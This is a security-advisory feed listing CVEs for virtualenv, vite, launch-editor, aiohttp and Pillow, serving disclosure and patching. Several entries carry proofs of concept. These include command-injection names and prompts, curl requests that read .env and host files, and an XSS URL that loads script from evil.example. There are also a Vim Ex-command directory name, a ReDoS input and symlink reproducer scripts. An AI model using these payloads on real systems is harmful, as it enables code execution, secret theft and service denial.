Threats tagged 'homebrew'
1,195 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.3 | EPSS 0.4% | CVE-2026-111750AIOHTTP · Pure-Python parser request smuggling Medium6.3EPSS 0.4%GCVE DatabaseCVE-2026-111750 AIOHTTP's pure-Python HTTP parser is vulnerable to an HTTP request smuggling attack when the Python parser is used instead of the default C parser. This affects versions from 0.4.3 up to but not including 0.6.9. The vulnerability can be mitigated by switching to the default C parser. | GCVE Database | ||
| High | 8.7 | High8.7GCVE Database Multiple vulnerabilities in aiohttp versions 0.4.3 up to but not including 0.6.9 can lead to excessive or unbounded memory and CPU usage triggered by attacker-controlled requests. This can cause resource exhaustion on affected systems. | GCVE Database | |||
| High | 7.8 | EPSS 0.3% | CVE-2026-113726pypa virtualenv · OS Command Injection High7.8EPSS 0.3%CVE Database V5CVE-2026-113726 ### Impact zsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so zsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and arithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then runs as commands in the user's shell, once per prompt. The name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an environment with: ```console $ virtualenv 'x$(touch PWNED)y' ``` `source 'x$(touch PWNED)y/bin/activate'` in a zsh session with `PROMPT_SUBST` set creates `PWNED`, and the prompt shows `(xy)`. Passing that value as `--prompt` to an environment with a plain name has the same effect. Without `PROMPT_SUBST`, zsh shows the name as text and runs nothing. bash runs nothing either. A plain zsh starts with `PROMPT_SUBST` off. oh-my-zsh users have it on: oh-my-zsh loads [`lib/theme-and-appearance.zsh`](https://github.com/ohmyzsh/ohmyzsh/blob/4d4cfc287e9d887b81242c0e431b5f49f9cec5c1/lib/theme-and-appearance.zsh#L5) at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name. zsh also reads `%` in `PS1` as a prompt escape, so a name with `%n` showed the user name in place of those characters, though without running commands. The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed 21.9.1. ### Patches Fixed in 21.14.4. Under zsh, `activate` now escapes the name the way it does under bash and doubles `%`, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when `PROMPT_SUBST` is off, because a user can set the option after activation; a name with a backslash, dollar sign or backtick then shows the added backslashes. Fix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2 ### Workarounds Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `unsetopt prompt_subst` if your prompt does not need it. Check the name of an environment you did not create before you source its `activate`. ### Credits Kaya Emre Arikan (@kemrec) reported this issue. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.3% | CVE-2026-113776pypa virtualenv · OS Command Injection High7.8EPSS 0.3%CVE Database V5CVE-2026-113776 ### Impact `ViaTemplateActivator.instantiate_template` replaces the placeholders in an activation template one key at a time, each across the whole text. When a value that it already substituted and quoted contains the name of a later placeholder, the later pass rewrites that name inside the quoted literal. The inserted value brings its own quotes, which close the outer literal, and the rest of the path runs as code when a user activates the environment. `__VIRTUAL_NAME__` holds the environment's directory name, so a destination such as `A__VIRTUAL_NAME__B/x'$(touch PWNED)'y` is enough. In the default `activate` for bash, the `VIRTUAL_ENV` line renders as: ```sh VIRTUAL_ENV='/tmp/t/A'x'"'"'$(touch PWNED)'"'"'y'B/x'"'"'$(touch PWNED)'"'"'y' ``` Sourcing that script runs `touch PWNED`. The same payload in a path without the placeholder name runs nothing. `activate.fish` runs the command the same way, and the reporter also showed Python code execution through `activate.xsh` and `bin/activate_this.py`. In `activate.csh`, a directory named after a prompt display placeholder, such as `__VIRTUAL_PROMPT_DISPLAY_TCSH__`, breaks the script with `Unmatched '''`. No change to `quote()` can stop this, because the rewrite happens after `quote()` ran; it defeats `shlex.quote` and `repr()` alike. An attacker needs to influence the destination path or `--prompt`: a CI job or wrapper tool that builds the path from a branch or project name, or a directory in a cloned repository or unpacked archive. The bug affects versions 20.26.6 through 21.14.1. Version 20.26.6 first quoted template values (#2768) and introduced the per-key loop. ### Patches Fixed in 21.14.2. Activation scripts now keep a placeholder name in the environment's path or prompt as plain text, and activating the example above runs nothing. Fix: https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74 ### Workarounds Do not create an environment whose path or `--prompt` contains a placeholder name such as `__VIRTUAL_NAME__`, `__VIRTUAL_ENV__` or `__VIRTUAL_PROMPT__`, and inspect the generated activation script before you source one you did not create. ### Credits Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.2% | CVE-2026-113732pypa virtualenv · OS Command Injection High7.8EPSS 0.2%CVE Database V5CVE-2026-113732 ### Impact `FishActivator` defines no `quote()`, so it inherits `ViaTemplateActivator.quote`, which returns `shlex.quote(string)`. That function follows POSIX `sh` rules, where a backslash inside single quotes stays a literal character. fish reads `\'` inside single quotes as an escaped quote and `\\` as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where `shlex.quote` put the end, and fish expands the command substitution that follows. The environment path reaches `set -gx VIRTUAL_ENV`, and `--prompt` or `VIRTUALENV_PROMPT` reaches `set -gx VIRTUAL_ENV_PROMPT`. For `--prompt "x\'\$(touch PWNED)'\'"`, the generated `activate.fish` contains: ```fish set -gx VIRTUAL_ENV_PROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"'' ``` `source bin/activate.fish` runs `touch PWNED`, and fish prints no error. The same payload as a directory name runs through `VIRTUAL_ENV`. `--prompt .` takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either. virtualenv generates `activate.fish` by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. The bug affects every release up to 21.14.1 that ships `activate.fish`. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept `shlex.quote`. ### Patches Fixed in 21.14.2. `activate.fish` now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab ### Workarounds Do not create an environment whose path or prompt contains a backslash, and inspect `activate.fish` before you source one you did not create. ### Credits Kevin Stubbings (@Kwstubbs) of GitHub Security Lab reported this issue. | CVE Database V5 | ||
| High | 7.8 | EPSS 0.2% | CVE-2026-113725pypa virtualenv · OS Command Injection High7.8EPSS 0.2%CVE Database V5CVE-2026-113725 ### Summary The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each time bash draws the prompt. ### Affected area `src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`. ### Attacker-controlled input The environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name. ### Details bash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\` into `\` and `\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before 21.13.0 do not escape the name at all. A bash running as root decodes `\$` to `#`, so the payload shows the wrong text there but runs nothing. zsh does no decode pass and is not affected. ### Proof of concept ```console $ virtualenv --prompt 'a\$(touch PWNED)' env $ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"' $ ls PWNED PWNED ``` ### Impact Arbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an attacker influenced, with that user's privileges, once per prompt draw. ### Versions tested 21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root. ### Known mitigation Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars` if your prompt does not need expansion. Check the name of an environment you did not create before you source its `activate`. ### Latest release - [x] The problem reproduces on the latest virtualenv release. 21.14.6 ### Patches Fixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs. Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932 ### Credits Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image. | CVE Database V5 | ||
| Medium | 4.5 | EPSS 0.1% | CVE-2026-113724pypa virtualenv · Link Following Medium4.5EPSS 0.1%CVE Database V5CVE-2026-113724 ## Summary The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination. Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permission recovery after a filesystem deletion error. ## Attacker-controlled input A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path. ## Affected code The relevant 21.14.8 source is in [safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism `safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become `0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path. ## Reproduction and evidence The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and `virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the key's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup. This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safe_delete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path NOBODY = 65534 work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY) # the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"] subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True) subprocess.run([*make_archive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True) # from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022) def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options): home = work / home_name archive = work / archive_name key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.write_text("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True) mode_before = stat.S_IMODE(key.stat().st_mode) command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, | CVE Database V5 | ||
| High | 7.8 | EPSS 0.3% | CVE-2026-113722pypa virtualenv · OS Command Injection High7.8EPSS 0.3%CVE Database V5CVE-2026-113722 virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, virtualenv's ScriptMakerCustom and pip pass an incompletely quoted interpreter path to distlib ScriptMaker when generating POSIX console scripts. When the path contains a space or produces a shebang longer than 127 bytes, distlib emits a /bin/sh wrapper whose double-quoted interpreter path still expands command substitutions and backticks. An attacker who influences the environment destination can therefore execute commands with the user's privileges when the user later runs a generated launcher; environment creation and activation do not trigger the command. Existing launchers are not repaired by upgrading virtualenv alone and must be regenerated, while a later independent pip installation or upgrade can reintroduce an affected launcher because pip's vendored distlib is unchanged. The virtualenv fix is released in version 21.14.9. | CVE Database V5 | ||
| Medium | 4.5 | EPSS 0.1% | CVE-2026-113716pypa virtualenv · Link Following Medium4.5EPSS 0.1%CVE Database V5CVE-2026-113716 ## Summary The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination. Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Directory preparation before environment files are created. ## Attacker-controlled input Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account. ## Affected code The relevant 21.14.8 source is in [builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py), [ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing symlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. `--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it. ## Reproduction and evidence The scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree. With the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote `python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later `pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A second case began with the `bin` link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached `~/.local/bin`. The attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path to 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before creation. Concurrent parent replacement remains a separate case. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensure_dir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignore_errors=True) def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout): local_bin = home / ".local/bin" user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"} local_bin_before = set(os.listdir(local_bin)) payload_marker = home / "PWNED" # the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}") # default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True) written = sorted(set(os.listdir(local_bin)) - local_bin_before) payload_ran_at_creation = payload_marker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {local_bin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}") # lat | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.5% | CVE-2026-112947vitejs vite · Path Traversal Medium6.3EPSS 0.5%CVE Database V5CVE-2026-112947 ### Summary The first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`. ### Impact Only apps that match one of the following conditions are affected: - explicitly expose the Vite dev server to the network using `--host` or the [`server.host`](https://vite.dev/config/server-options#server-host) option - there's a file that has a sensitive information in **the first 4 bytes** - uses Node.js or Deno to run Vite (if Bun is used, it is not affected) ### Details Requests containing the `?vite-wasm-instance` query are handled by the internal Wasm plugin's `load` hook. The hook removes the query and reads the resulting path directly from disk, but the `server.fs` checks were not applied. After reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file. ### PoC Create a denied file and start an affected Vite dev server: ```bash echo 'SECRET_KEY=abc123\n' > .env npm run dev curl 'http://localhost:5173/.env?vite-wasm-instance' ``` This will show ``` Failed to parse WASM file "<root>/.env": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0 ``` | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.9% | CVE-2026-112946vitejs vite · Path Traversal Medium6.3EPSS 0.9%CVE Database V5CVE-2026-112946 ### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ``` | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.6% | CVE-2026-112945vitejs vite · Basic XSS Low2.1EPSS 0.6%CVE Database V5CVE-2026-112945 ### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.7% | CVE-2026-112944vitejs launch-editor · Argument Injection Medium6.3EPSS 0.7%CVE Database V5CVE-2026-112944 ### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ### Impact #### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL #### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL #### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-112901Pillow · ReDoS Medium6.9EPSS 0.4%CVE Database V5CVE-2026-112901 ``` ============================================================================ ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes. The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\r\n]+` closing the hotspot group overlaps with the following `[\000-\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `"XBM"`. The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`. ## Details `XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\000-\377]*_bits\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`. This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit: ```python k = 60 data = b"#define" + b" "*k + b"_width 1\r" data += b"#define" + b" "*k + b"_height 1\r" data += b"#define" + b" "*k + b"_x_hot 1\r" data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k data += b"_bits" # no "[]": the final literal never matches data += b"A" * (512 - len(data)) # pad to the 512 bytes _open() reads ``` Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs. The regex, `src/PIL/XbmImagePlugin.py:32`: ```python xbm_head = re.compile( rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+" b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+" b"(?P<hotspot>" b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+" b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+" b")?" rb"[\000-\377]*_bits\[]" ) 